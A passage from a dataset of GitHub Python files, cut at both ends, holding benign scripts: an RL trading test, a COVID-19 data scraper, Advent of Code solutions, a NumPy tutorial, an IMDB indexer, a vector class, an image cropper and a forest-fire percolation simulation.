{}\".format(sharpe))\n    sharpes[i] = sharpe\n\nprint(\"------- Training is over -------\")\nwith open(filename, 'a+') as f:\n    f.write(\"epochs:{} \\nwindows:{} \\nlearning_rate:{} \\nobjective_function:{} \\nweights_init_scheme:{} \\ntheta:{}\\n\\n\".format(epochs, past_timesteps, learning_rate, objective_function, args.weights_init, theta))\n    f.close()\nprint(\"------- Model Hyperparameters and parameters saved -------\")\n\n# Display sharpe ratio improvements over epochs\nif verbose:\n    plt.figure()\n    pd.Series(sharpes).plot()\n    plt.legend(['Sharpe ratio'])\n    plt.show()\n'''\n# parameters weight after 500 epochs for btc/usd min. VERY SUCCESSFULL\ntheta = [1.14979244, 1.15079199, 1.1502789, 0.80698264, 1.15029399, 0.33909104, 1.14928899, 1.14973558, 1.14949215, 0.76181637, 1.14962482, 0.29303071, 1.14896727, 1.1492582, 1.14909631, 0.72275713, 1.14918728, 0.28653372, 1.14881231, 1.14896827, 1.14888284, 0.69221627, 1.14893813, 0.30126941, 1.14928387, 1.14895654, 1.14912066, 0.68105205, 1.14916945, 0.37206205, 1.14969238, 1.14940828, 1.14954657, 0.68395287, 1.1495189, 0.49042269, 1.45383504]\n'''\n\n# Adjust indexes for the test set\nselected_feature_test_scaled.reset_index(drop=True, inplace=True)\nselected_feature_test.reset_index(drop=True, inplace=True)\n\n\n# Add an ARIMA prediction as a feature. For test set only as ARIMA is used for predicting test set's closed price\n# Warning: add too much time to be viable, in an online manner.\n# Need to find a way to add it. Currently we can't because we have not a theta for it.\nadd_arima = False\nif(add_arima):\n    y_train = selected_feature_train[\"Fermeture\"]\n    y_test = selected_feature_test[\"Fermeture\"]\n    arima = model.FitARIMA(y_train, y_test).get_arima_values()\n    arima_scaled = scaler.fit_transform(arima)\n    arima_scaled_series = pd.Series( (v[0] for v in arima_scaled) )\n    print(\"Arima {}\".format(arima_scaled_series))\n    arima_scaled_series.reset_index(drop=True, inplace=True)\n\n    # Add scaled ARIMA values to feature dataframe\n    #selected_feature_test_scaled['ARIMA'] = arima_scaled_series\n    selected_feature_test_scaled = selected_feature_test_scaled.assign(ARIMA=arima_scaled_series.values)\n    print(selected_feature_test_scaled)\n\n# Run the model with the found parameters, on the test set\ngrad, sharpe, positions, returns = policy.DirectReinforcementLearning(selected_feature_test_scaled, past_timesteps, nb_features, theta).gradientAscent(objective_function)\n\n# Get profits to estimate wealth\nadd_profits, add_returns, _= of.Returns(selected_feature_test_scaled['Fermeture'], pd.Series(positions).round(), 0.025).getAdditiveProfits()\n\n# Actualise parameters\ntheta = theta + grad * learning_rate\n\n# Plot the changing positions\n# Separate buy signals from sell signals\nchanging_positions = (pd.Series(positions).round()).diff()\nchanging_positions.fillna(0, inplace=True)\nxbuy = [i for i in range(len(changing_positions)) if changing_positions[i] > 0]\nxsell = [i for i in range(len(changing_positions)) if changing_positions[i] < 0]\nybuy = []\nysell = []\nfor i in range(len(selected_feature_test_scaled['Fermeture'])):\n    for j in range(len(xbuy)):\n        if i == xbuy[j]:\n            ybuy.append(selected_feature_test_scaled['Fermeture'].iloc[i])\n\n    for k in range(len(xsell)):\n        if i == xsell[k]:\n            ysell.append(selected_feature_test_scaled['Fermeture'].iloc[i])\n\n# Plot the results\nplt.figure()\nplt.plot(pd.Series(add_returns).cumsum(), label=\"RLModel Add returns\", linewidth=1)\nplt.plot((selected_feature_test_scaled['Fermeture'].diff()).cumsum(), label=\"Buy and Hold\", linewidth=1)\nplt.plot(selected_feature_test_scaled['Fermeture'], label=\"Closing Price\", linewidth=1)\nplt.scatter(xbuy, ybuy, s=7, c='red', label=\"Buy Signal\")\nplt.scatter(xsell, ysell, s=7, c='blue', label=\"Sell Signal\")\nplt.xlabel('Ticks')\nplt.ylabel('Cumulative Returns');\nplt.legend()\nplt.title(\"RL Model vs. Buy and Hold - Test Data\");\nplt.show()\n","repo_name":"CarliKevn/Deep-Learning","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9108,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"35239800406","text":"#!/usr/bin/python3\n\"\"\"\nSend a POST request to the passed URL with an email as a parameter\n\"\"\"\nimport urllib.request\nimport urllib.parse\nimport sys\n\narg = sys.argv\nif __name__ == \"__main__\":\n    url = arg[1]\n    value = {}\n    value['email'] = arg[2]\n    data = urllib.parse.urlencode(value)\n    data = data.encode('ascii')\n    req = urllib.request.Request(url, data)\n    with urllib.request.urlopen(req) as response:\n        html = response.read()\n        print(html.decode('utf-8'))\n","repo_name":"carvanino/alx-higher_level_programming","sub_path":"0x11-python-network_1/2-post_email.py","file_name":"2-post_email.py","file_ext":"py","file_size_in_byte":484,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15924726225","text":"import requests\nimport datetime\nfrom bs4 import BeautifulSoup\nfrom data_sources import source\n\n@source('live', name='Canada')\ndef import_data():\n    for result in import_news():\n        yield result\n\n    for result in import_gov():\n        yield result\n\ndef import_news():\n    import string\n    sourceURL = \"https://www.ctvnews.ca/health/coronavirus/tracking-every-case-of-covid-19-in-canada-1.4852102\"\n    jsonURL = \"https://stats.ctvnews.ca/covidDapi/getAllCovidData\"\n\n    # referer is required for authorization\n    headers = {\n        \"referer\": \"https://www.ctvnews.ca/health/coronavirus/tracking-every-case-of-covid-19-in-canada-1.4852102\"\n    }\n\n    datapoints = []\n    content = requests.get(jsonURL, headers=headers, timeout=10).json()\n    for row in content:\n        entryDate = datetime.datetime.strptime(row['date'], \"%Y-%m-%d\").date()\n        provinces = row['data']\n        for data in provinces:\n            province = string.capwords(data['provinceLabel'])\n\n            total = data['totalCases']\n            recovered = data.get('recoveries', None)\n            deaths = data.get('deaths', None)\n            tests = data.get('totalTests', None)\n            yield {\n                \"entry_date\": entryDate,\n                \"country\": \"Canada\",\n                \"province\": province,\n                \"total\": total,\n                \"recovered\": recovered,\n                \"deaths\": deaths,\n                \"tests\": tests\n            }\n\ndef import_gov():\n    url = \"https://www.canada.ca/en/public-health/services/diseases/2019-novel-coronavirus-infection.html\"\n    soup = BeautifulSoup(requests.get(url, timeout=10).text, 'html.parser')\n    stats = soup.select(\"#dataTable tbody tr\")\n    datapoints = []\n    for row in stats:\n        tds = row.select(\"td\")\n        province = tds[0].text\n        total = int(tds[1].text.replace(\",\", \"\"))\n        deaths = int(tds[3].text.replace(\",\", \"\"))\n        if province != \"Canada\":\n            yield {\n                'country': \"Canada\",\n                'province': province,\n                'total': total,\n                'deaths': deaths\n            }\n\nif __name__ == \"__main__\":\n    import_data()","repo_name":"myfatemi04/Corona-Vision","sub_path":"data_collection/data_sources/north_america/canada.py","file_name":"canada.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"42471591100","text":"import argparse\nfrom typing import List, Dict, Any\n\n\ndef add(x, y):\n    return x+y\n\n\ndef mul(x, y):\n    return x*y\n\n\nopcodes: Dict[int, Any] = dict(((1, add), (2, mul), (99, None)))\n\n\ndef sol1(data: List[int]) -> int:\n    i = 0\n    size = len(data)\n    while i < size:\n        opcode = data[i]\n        method = opcodes[opcode]\n        if method is not None:\n            data[data[i + 3]] = method(data[data[i + 1]], data[data[i + 2]])\n        else:\n            break\n        i += 4\n    return data[0]\n\n\ndef sol2(data: List[str]) -> int:\n    expected_data = 19690720\n    for noun in range(100):\n        for verb in range(100):\n            new_data = [int(x) for x in data[0].split(',')]\n            new_data[1] = noun\n            new_data[2] = verb\n            if expected_data == sol1(new_data):\n                return 100 * noun + verb\n    return -1\n\n\ndef get_input(filename: str) -> List[str]:\n    with open(filename) as f:\n        lines = f.readlines()\n    return lines\n\n\ndef main() -> int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument('--filename', default='input.txt')\n    args = parser.parse_args()\n    data = get_input(args.filename)\n    new_data = [int(x) for x in data[0].split(',')]\n    new_data[1] = 12\n    new_data[2] = 2\n    print(sol1(new_data))\n    print(sol2(data))\n    return 0\n\n\nif __name__ == '__main__':\n    exit(main())\n","repo_name":"yoavcaspi/aoc2019","sub_path":"day2/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"23623140476","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\narr_1D = np.array([1,2,3,4])\n# print(arr_1D)\n# print(type(arr_1D))\n# print(arr_1D.ndim)\n\narr_2D = np.array([[1,2,3,4], [5,6,7,8]])\n# print(arr_2D)\n# print(type(arr_2D))\nprint(arr_2D[:, 2:3])\n\n# print(arr_2D.size)\n# print(arr_2D.shape)\n# print(arr_2D.dtype)\n\nones_arr = np.ones((4,6), dtype=int)\n# print(ones_arr)\n\nzero_arr = np.zeros((2,3), dtype=int)\n# print(zero_arr)\n\nempty_arr = np.empty((2,3))\n# print(empty_arr)\n\narange_arr = np.arange(1,17, 2)\n# print(my_arr)\n\nreshape_arr = np.arange(1,17).reshape(4,4)\n# print(reshape_arr)\n\nrevel_arr = np.arange(1,11).reshape(5,2).ravel()\n# print(revel_arr)\n\nlinespace_arr = np.linspace(1,11,12)\n# print(linespace_arr)\n\ntranspose_arr = arr_2D.transpose()\n# print(transpose_arr)\n\narr1 = np.arange(1,10).reshape(3,3)\narr2 = np.arange(1,10).reshape(3,3)\n\nadd = arr1 + arr2\nsub = arr1 - arr2\nmul = arr1 * arr2\nmatric_multiplication = arr1 @ arr2\n\nmax_digit = arr1.argmax(axis= 1)\n# print(max_digit)\n\nmini_digit = arr2.min(axis=0)\n# print(mini_digit)\n\nsum_of_arr = np.sum(arr1)\n# print(sum_of_arr)\n\nnp.mean(arr1)\nnp.sqrt(arr1)\nnp.std(arr1)\nnp.exp(arr1)\nnp.log(arr2)\nnp.log10(arr2)\n\narr_slicing = np.arange(1,101).reshape(10,10)\n\n# print(arr_slicing[:, 0:1])\n# print(arr_slicing[6,9])\n# print(arr_slicing[1:4, 1:4])\n# print(arr_slicing.shape)\n\nConnection_arr = np.concatenate((arr1, arr2), axis=1)\n# print(Connection_arr)\n\nsplit_arr = np.array([1,2,3,4,5])\n# print(np.split(split_arr, [1,3]))\n\nx_value = np.arange(0,3*np.pi, 0.1)\ny_sin = np.sin(x_value)\n\n# plt.plot(x_value, y_sin)\n# plt.show()\n\ny_cos = np.cos(x_value)\n# plt.plot(x_value, y_cos)\n# plt.show()\n\ny_tan = np.tan(x_value)\n# plt.plot(x_value,y_tan)\n# plt.show()\n\nrandom_arr = np.random.random((3,3))\n# print(random_arr)\n\nrandint_arr = np.random.randint(1,100, (5,4))\n# print(randint_arr)\n\nx = [1,2,3,4,5,6]\nchoice_arr = np.random.choice(x)\n# print(choice_arr)\n\npermutation_arr = np.random.permutation(x)\n# print(permutation_arr)\n\n# if we want to print same number than we'll use seed()\n\nnp.random.seed(10)\nx = [1,2,3,4,5,6]\nchoice_arr = np.random.choice(x)\n# print(choice_arr)\n\nperson_name = 'Ali Rehan Codes'\nstr1 = 'Hello'\n\n# print(np.char.add(person_name, str1))\n# print(np.char.center(str1, 60, fillchar=\"*\"))\n\nnp.char.lower(str1)\nnp.char.upper(str1)\nnp.char.title(str1)\nnp.char.split(person_name)\n\nstr2 = 'dmy'\n# print(np.char.join(':', str2))\n\n","repo_name":"AliRehanCodes/Python-NumPy","sub_path":"NumPy.py","file_name":"NumPy.py","file_ext":"py","file_size_in_byte":2415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31799312086","text":"import re\nimport json\nimport pickle\n\n#NOTE: Not very readable for the basic people U_U\n\n# Save python objects in binary format\n# !IMPORTANT: 'movies' can relate to series as well... That's IMDB folks!\n# - obj/acts.pkl: Dict where key is an actor, and the values the movies\n# - obj/directs.pkl: Dict where key is director, and the values the movies\n# - obj/movies_actors.pkl: All actors which participated in the movies from acts AND directs\n# - obj/movies_directors.pkl: All directors which participated in the movies from acts AND directs\ndef save_obj(obj, name):\n    with open('obj/'+ name + '.pkl', 'wb') as f:\n        pickle.dump(obj, f, pickle.HIGHEST_PROTOCOL)\n\ndef load_obj(name):\n    with open('obj/' + name + '.pkl', 'rb') as f:\n        return pickle.load(f)\n\nclass Act(object):\n    def wsearch(w):\n        return re.compile(r'\\b({0})\\b'.format(w), flags=re.IGNORECASE).search\n\n    def __init__(self, first, last):\n        self.f = first\n        self.l = last\n\n    def regexp(self):\n        return (Act.wsearch(self.f), Act.wsearch(self.l))\n\n    def __repr__(self):\n        return f\"f: {self.f} l: {self.l}\"\n\n## Finding Actors Information!\n#act_n = [\"Uma Thurman\", \"Harvey Keitel\", \"Bill Murray\", \"Frances McDormand\"]\n#gen_st = \"acts\"\nact_n = [\"Quentin Tarantino\", \"Wes Anderson\"]\ngen_st = \"directs\"\n#act_man_f = \"actors.list\"\n#act_woman_f = \"actresses.list\"\nact_man_f = \"directors.list\"\nact_woman_f = \"t\"\nact_l = [(lambda n: Act(n[0], n[1]))([t.lower() for t in s.split()]) for s in act_n]\nact_d = {}\nmov_d = {}\n\ndef st_op(t):\n    s = t\n    p = s.find(\"(\")\n    count = 0\n    while p < len(s) and p + 1 < len(s) and not s[p+1].isdigit() and not s[p+1] == '?':\n        tlist = list(s)\n        tlist[p] = '_'\n        s = \"\".join(tlist)\n        p = s.find(\"(\")\n        count += 1\n        if count > 20:\n            return len(t)\n    return p\n\ndef find_person_movie(l, f):\n    if l and l[0] != '\\t':\n        for i, a in enumerate(act_l):\n            if all(x(l[:l.find('\\t')].replace(\",\",\"\")) for x in a.regexp()) and not act_d.get(act_n[i], None):\n                cs = [l[l.find('\\t'):st_op(l)].strip().replace(\"\\t\",\"\").replace(\"\\n\",\"\")]\n                l = f.readline()\n                while l and l[0] == '\\t':\n                    mv = l.strip().replace(\"\\t\", \"\").replace(\"\\n\",\"\")\n                    cs.append(mv[:st_op(mv)].strip())\n                    l = f.readline()\n                act_d[act_n[i]] = cs\n    return l\n\ndef act_d_builder(l, f):\n        if l and l[0] != '\\t':\n            print(l[:l.find('\\t')].strip())\n            if not act_d.get(l[:l.find('\\t')].strip(), None):\n                idx = l[:l.find('\\t')].strip()\n                if not list(filter(None, idx)):\n                    return\n                cs = [l[l.find('\\t'):st_op(l)].strip().replace(\"\\t\",\"\").replace(\"\\n\",\"\")]\n                l = f.readline()\n                while l and l[0] == '\\t':\n                    mv = l.strip().replace(\"\\t\", \"\").replace(\"\\n\",\"\")\n                    cs.append(mv[:st_op(mv)])\n                    l = f.readline()\n                act_d[idx] = cs\n        return l\n\ndef mov_actors_builder(l, f, movd):\n    if l and l[0] != '\\t':\n        idx = l[:l.find('\\t')].strip()\n        if not list(filter(None, idx)):\n            return\n        cs = [l[l.find('\\t'):st_op(l)].strip().replace(\"\\t\",\"\").replace(\"\\n\",\"\")]\n        l = f.readline()\n        while l and l[0] == '\\t':\n            mv = l.strip().replace(\"\\t\", \"\").replace(\"\\n\",\"\")\n            mv = mv[:st_op(mv)].strip()\n            if mv in movd:\n                if not mov_d.get(mv, None):\n                    mov_d[mv] = set()\n                    mov_d[mv].add(idx)\n                else:\n                    mov_d[mv].add(idx)\n                if(mv == \"Plain Pleasures\"):\n                    print(f\"Adicionado em {mv} = {idx}\")\n            l = f.readline()\n    return l\n\ndef build_movieDict():\n    actd = load_obj(\"acts\")\n    drcd = load_obj(\"directs\")\n    movd = set()\n    for block in list(actd.values()) + list(drcd.values()):\n        for mov in block:\n            movd.add(mov)\n    return movd\n\ndef print_dict(name):\n    \"DON'T INCLUDE THE .pkl IN THE 'name' ARG!!\"\n    t = load_obj(name)\n    for k in t.keys():\n        print(k)\n        for m in t[k]:\n            print(f\"\\t\\t{m}\")\n        print(\"\")\n\ndef main():\n    print_dict(\"directs\")\n    exit()\n    movd = build_movieDict()\n    with open(act_man_f, \"r\", encoding='latin-1') as m, open(act_woman_f, \"r\", encoding='latin-1') as w:\n        c = 0\n        lm = m.readline()\n        lw = w.readline()\n        while lm or lw:\n            lm, lw = find_person_movie(lm, m), find_person_movie(lw, w)\n            lm, lw = m.readline(),  w.readline()\n            if c%50000 == 0:\n                print(f\"{c}º iteration...\")\n                #input(\"continua...\")\n            c+=1\n\n    #save_obj(act_d,\"directs\")\nif __name__ == '__main__':\n    main()\n","repo_name":"robotenique/movies-ontology","sub_path":"imdbAnalyzer.py","file_name":"imdbAnalyzer.py","file_ext":"py","file_size_in_byte":4868,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"60"}
+{"seq_id":"21401711484","text":"with open('./day1_input.txt', 'r') as file:\r\n\tdata = []\r\n\tfor line in file:\r\n\t\t\tif line[0] == '+':\r\n\t\t\t\tdata.append(int(line[1:]))\r\n\t\t\tif line[0] == '-':\r\n\t\t\t\tdata.append(-int(line[1:]))\r\n\tfreq = 0\r\n\tseen_freqs = [0]\r\n\titteration = 0\r\n\twhile True:\r\n\t\t#print('Itteration: ' + str(itteration))\r\n\t\tif(itteration%1 == 0):\r\n\t\t\tprint(str(itteration) + ', ' + str(len(seen_freqs)))\r\n\t\tfor change in data:\r\n\t\t\tfreq += change\r\n\r\n\t\t\tif freq in seen_freqs:\r\n\t\t\t\tprint('Repeated frequency: ' + str(freq))\r\n\t\t\t\tquit()\r\n\t\t\telse:\r\n\t\t\t\tseen_freqs.append(freq)\r\n\t\t\t\t#print(len(seen_freqs))\r\n\r\n\t\titteration += 1\r\n\r\n\t\tprint(freq)\r\n\t\t#print(seen_freqs)\r\n","repo_name":"Emil-IT/AoC18","sub_path":"day1.py","file_name":"day1.py","file_ext":"py","file_size_in_byte":634,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"28464629212","text":"import time\nfrom dotenv import dotenv_values\nfrom autockt_client import (\n    start as start_client,\n    Config,\n)\nfrom autockt_shared import auto_ckt_sim_hdl21, OpAmpInput, auto_ckt_sim\n\nENABLE_HTTPS = True\n\n\ndef main():\n    \"\"\"\n    Not picked up by pytest\n    \"\"\"\n\n    # Load the .env file\n    env = dotenv_values()\n\n    # And get the server URL\n    THE_SERVER_URL = env.get(\"THE_SERVER_URL\", None)\n    if not THE_SERVER_URL:\n        raise ValueError(\"THE_SERVER_URL not set in .env file\")\n    cfg = Config(server_url=\"34.83.44.225\", enable_https=ENABLE_HTTPS)\n\n    start_client(cfg)\n\n    to_test = OpAmpInput(3, 3, 3, 3, 3, 3, 1e-12)\n\n    start_time = time.time()\n    auto_ckt_sim(to_test)\n    end_time = time.time()\n    print(\"total time (auto_ckt_sim): \" + str(end_time - start_time))\n\n    start_time = time.time()\n    auto_ckt_sim_hdl21(to_test)\n    end_time = time.time()\n    print(\"total time (auto_ckt_sim_hdl21): \" + str(end_time - start_time))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"BWRC-AMS-ML-Discovery/BwrcAmsMlDiscovery","sub_path":"scripts/speed_benchmark.py","file_name":"speed_benchmark.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"86272167792","text":"import tenpy.utility.operators as op\r\nimport math\r\n\r\nclass CreateVector:\r\n\r\n    def __init__(self, info = []):\r\n        self.info = info\r\n\r\n########################################################################################################################\r\n### VECTOR PROPERTIES\r\n########################################################################################################################\r\n\r\n    #Returns value of vector as an array\r\n    def val(self):\r\n        return self.info\r\n\r\n    #Returns magnitude of vector\r\n    def mag(self):\r\n        mag = 0\r\n        for i in range(len(self.info)):\r\n            mag += math.pow(self.info[i], len(self.info))\r\n        return math.sqrt(mag)\r\n\r\n    #Returns angle of vector\r\n    def angle(self):\r\n        self.x = self.info[0]\r\n        self.y = self.info[1]\r\n        if len(self.info) > 2:\r\n            self.z = self.info[2]\r\n\r\n        if len(self.info) == 2:\r\n            if (self.x < 0) and (self.y > 0):\r\n                return math.pi + math.atan(self.y/self.x)\r\n            elif (self.x < 0) and (self.y < 0):\r\n                return math.pi - math.atan(self.y/self.x)\r\n            elif (self.x > 0) and (self.y < 0):\r\n                return 2*math.pi + math.atan(self.y/self.x)\r\n            elif (self.x > 0) and (self.y > 0):\r\n                return math.atan(self.y/self.x)\r\n            elif (self.x > 0) and (self.y == 0):\r\n                return 0.0\r\n            elif (self.x < 0) and (self.y == 0):\r\n                return math.pi\r\n            elif (self.x == 0) and (self.y > 0):\r\n                return math.pi/2\r\n            elif (self.x == 0) and (self.y < 0):\r\n                return 3*math.pi/2\r\n            else:\r\n                return math.atan(self.y/self.x)\r\n        elif len(self.info) == 3:\r\n            pass\r\n        else:\r\n            return \"Error: Tenpy does not support non-two dimensional vector angles\"\r\n\r\n    def angle_between(self, other):\r\n        angle = math.acos(self.dot_prod(other)/(self.mag()*other.mag()))\r\n        return angle\r\n\r\n########################################################################################################################\r\n### GENERAL VECTOR EVALUATION\r\n########################################################################################################################\r\n\r\n    # Operates on vectors by element\r\n    def element_eval(self, other=[], sign=\"+\"):\r\n        if len(self.info) == len(other.info):\r\n            result = []\r\n            for i in range(len(self.info)):\r\n                result.append(op.get_operator_fn(sign)(self.info[i], other.info[i]))\r\n            return CreateVector(result)\r\n        else:\r\n            return \"Vector Not Operatable\"\r\n\r\n########################################################################################################################\r\n### VECTOR MULTIPLICATION\r\n########################################################################################################################\r\n\r\n    def dot_prod(self, other):\r\n        prod = 0\r\n        if len(self.info) == len(other.info):\r\n            for i in range(len(self.info)):\r\n                prod += self.info[i] * other.info[i]\r\n        else:\r\n            return \"Error: Vector Length Mismatch\"\r\n        return prod\r\n\r\n    def cross_prod(self, other):\r\n        prod = []\r\n\r\n        a = self.info\r\n        b = other.info\r\n        if len(self.info) == len(other.info):\r\n            if len(self.info) == 3 and len(other.info) == 3:\r\n                #angle = math.acos(self.dot_prod(other)/self.mag()*other.mag())\r\n                prod.append(a[1]*b[2]-a[2]*b[1])\r\n                prod.append(a[2]*b[0]-a[0]*b[2])\r\n                prod.append(a[0]*b[1]-a[1]*b[0])\r\n            else:\r\n                return \"Sorry, cross product is only applicable for 3d vectors\"\r\n        else:\r\n            return \"Error: Vector Length Mismatch\"\r\n        return CreateVector(prod)\r\n\r\n########################################################################################################################\r\n### VECTOR RELATIONS\r\n########################################################################################################################\r\n\r\n    def is_parallel(self, other):\r\n        tolerance = 2.0e-5\r\n        if (self.angle_between(other) < 0.0+tolerance):\r\n            print(self.angle_between(other))\r\n            return True\r\n        else:\r\n            return False\r\n\r\n    def is_orthogonal(self, other):\r\n        if (self.dot_prod(other) == 0):\r\n            return True\r\n        else:\r\n            return False","repo_name":"SoftLocked/Tenpy","sub_path":"tenpy/vector.py","file_name":"vector.py","file_ext":"py","file_size_in_byte":4548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19892667142","text":"class Solution(object):\n    def hammingWeight(self, n):\n        \"\"\"\n        :type n: int\n        :rtype: int\n        \"\"\"\n        count = 0\n        flag = 1\n\n        while flag <= n:\n            if n & flag:\n                count += 1\n            flag = flag << 1\n            print(flag)\n        print(count)\n\n        return count\n\n    def hammingWeight2(self, n):\n        \"\"\"\n        :type n: int\n        :rtype: int\n        \"\"\"\n        count = 0\n\n        while n:\n            count += 1\n            n = (n - 1) & n\n\n        return count\n\n\ns = Solution()\ns.hammingWeight(0o0000000000000000000000000001011)\n","repo_name":"Dooooooooo21/leetcode","sub_path":"offer/15.py","file_name":"15.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"41382942805","text":"import sys\nfrom PIL import Image\n\n# check for args\nif len(sys.argv) < 7:\n    print(' ')\n    print('Incorrect arguments provided.')\n    exit()\n\n# get original\nimage_original = Image.open( sys.argv[1] )\n# make sure its rgba\nimage_original = image_original.convert('RGBA')\n\n# calc crop args\nx_start = int( sys.argv[3] )\ny_start = int( sys.argv[4] )\nx_end = int( sys.argv[3] ) + int( sys.argv[5] )\ny_end = int( sys.argv[4] ) + int( sys.argv[6] )\n\n# crop\nimage_crop = image_original.crop( ( x_start, y_start, x_end, y_end ) )\n\n# save crop\nimage_crop.save( sys.argv[2] )\nprint(' ')\nprint(f\"Cropped image stored as {sys.argv[2]}\")\n\n","repo_name":"Brugman/dgg-place-image-tools","sub_path":"crop.py","file_name":"crop.py","file_ext":"py","file_size_in_byte":625,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"38762629787","text":"# indexation : 0 = lieu vide, 1 = arbre, 2 = arbre en feu : rajouter un état final \"brûlé\" ? (totalement optionnel ceci dit)\n# manque de jolies couleurs QQ (trouver LA colormap des familles) (ou coloriser tout ça après coup aussi ça marche bien)\n\n# cf. propagation directionnelle pour les bails ajoutés (vent selon une direction, humidité, phénomène d'étincelle)\n\nfrom matplotlib.pyplot import matshow\nimport matplotlib as mpl\nimport matplotlib.pylab as plt\nimport matplotlib.animation as animation\nimport random\nimport numpy as np\n\n# 1) CREATION DE LA MATRICE ASSOCIEE A LA FORET\n \ndef bool_p(p):\n    # renvoie True avec une probabilite p et False avec une probabilité 1-p\n    return random.random() <= p\n             \ndef matgen(n,m,d):\n    # cree une forest de dimensions n*m avec des arbres places aléatoirements à une densité d (facteur de percolation par site ici)\n    forest = np.zeros((n,m))\n    for i in range(n):\n        for j in range(m):\n            if bool_p(d):\n                forest[i,j] = 1.\n            else:\n                forest[i,j] = 0.\n    return forest\n \n \n# 2) FONCTIONS UTILES\n\np_l = 1. # proba de percolation par lien, modifiée par l'utilisateur en cas de besoin\nw_dir = 'null' # direction éventuelle du vent\n \n\"\"\" \ndef burn_spot_R(forest): # nécessite d'être fix... pb de float ?\n    # met le feu à un arbre aléatoirement\n    n,m = forest.shape\n    x=random.randint(0,n)\n    y=random.randint(0,m)\n    while(forest[x,y] != 1.):\n        x=random.randint(0,n)\n        y=random.randint(0,m)\n    forest[x,y] = 2.F\n    return(forest) \"\"\"\n\ndef start_R(forest): # alternative, renvoie un couple (i,j) tel que la case soit verte (au hasard)\n    n,m = forest.shape\n    x=random.randint(0,n-1)\n    y=random.randint(0,m-1)\n    while(forest[x,y] != 1.):\n        x=random.randint(0,n-1)\n        y=random.randint(0,m-1)\n    return(x,y)\n\ndef burn_spot(forest,i,j):\n    # met le feu à l'arbre en position (i,j)\n    if forest[i,j] == 1.:\n        forest[i,j] = 2. # on fout le feu la case d'indice (i,j)\n    return forest\n \n\"\"\" def neighbors_from(x,y,forest): # renvoie un voisinage à 4 ou 8 cases dans la mesure du possible, du lieu en question\n    # n,m = forest.shape\n    # return [(x, y + 1 if y + 1 < SIZE else 0), (x, y - 1), (x + 1 if x + 1 < SIZE else 0, y),(x - 1, y)]\n    \"\"\"\n    \ndef nextToFire(forest,i,j):\n    # existence d'un arbre en feu au voisinage de l'arbre (i,j)\n    # tenter d'utiliser neighbors_from plutôt ? revoir le voisinage\n    \n    n,m=forest.shape\n    if forest[i,j] == 1.:\n        if (i > 0 and forest[i - 1,j] == 2.):\n            return True\n        if (i < n - 1 and forest[i + 1,j] == 2.):\n            return True\n        if (j > 0 and forest[i,j - 1] == 2.):\n            return True\n        if (j < m - 1 and forest[i,j + 1] == 2.):\n            return True\n    return False\n    \n\"\"\" Autre procédé de vérification pour les alentours...\n\n    if forest[i,j] == 1.:\n        for y in range(max(0,i-1),min(n,i+2)):\n            if forest[y,j] == 2.:\n                return True\n        for x in range(max(0,j-1),min(m,j+2)):\n            if forest[i,x] == 2.:\n                return True\n    return False\n    \n\"\"\"\n \ndef propagateFire(forest):\n    \"\"\"les arbres qui peuvent bruler autour d'un arbre en feu prennent feu\n    rq. : on se place dans un cadre de percolation par site, la probabilité variante est celle de densité de placement, pas celle d'ouverture des liens dans L^d...\n    ainsi, un arbre à proximité du feu prend systématiquement feu mskn\n    pour tenir compte du phénomène de percolation par lien, implémenter une probabilité que le lien entre l'arbre en question et le voisin soit ouvert \"\"\"\n    \n    n,m=forest.shape # en pratique toujours une grille carrée pour simplifier les choses\n    for i in range(n): # densité brute et méchante ici (percolation par site)\n        for j in range(m):\n            if nextToFire(forest,i,j):\n                 if random.random() <= p_l: # intervention des liens du graphe ouverts / fermés ici \n                    forest[i,j] = 2.\n    return forest\n \ndef stillOnFire(forest):\n    # vérifie s'il existe encore un arbre susceptible de cramer\n    n,m=forest.shape\n    for i in range(n):\n        for j in range(m):\n            if nextToFire(forest,i,j):\n                return True\n    return False\n                 \ndef burnForest(forest,i,j):\n    # démarre le feu aux coordonnées (i,j) et propage le feu jusqu'à ce que ça ne soit plus possible\n    forest = burn_spot(forest,i,j)\n    while stillOnFire(forest):\n        forest = propagateFire(forest)\n    return forest\n\ndef count(forest,f): # compte le nombre de zones indicées f\n    n,m = forest.shape\n    C = 0 # compteur de zones \n    for k in range(n):\n        for i in range(m):\n            if forest[k,i] == f:\n                C+=1\n    return C\n\n# 2.2) COEUR DU PROGRAMME ET STATS\n\ndef simulation(n,m,d,p,mode,w): # rajouter un argument p_l pour la percolation par lien ici (n,m = dimensions, d,p = densité et proba de lien, mode = animé ou non, w = direction du vent (ou non))\n\n    p_l = p # percolation par lien définie\n    w_dir = w\n    forest = matgen(n,m,d) \n    green = count(forest,1.) # nb d'arbres à l'état initial\n    void = count(forest,0.) # nb de zones vide au départ\n    \n    i,j = start_R(forest)\n    if (mode == 1):\n        forest = animate(forest,i,j) # procedé de percolation animé\n    elif (mode == 0): # pour effectuer des centaines d'essais, mieux vaux désactiver l'animation\n        forest = animate_nofilm(forest,i,j) # sans image\n    \n    bnt = 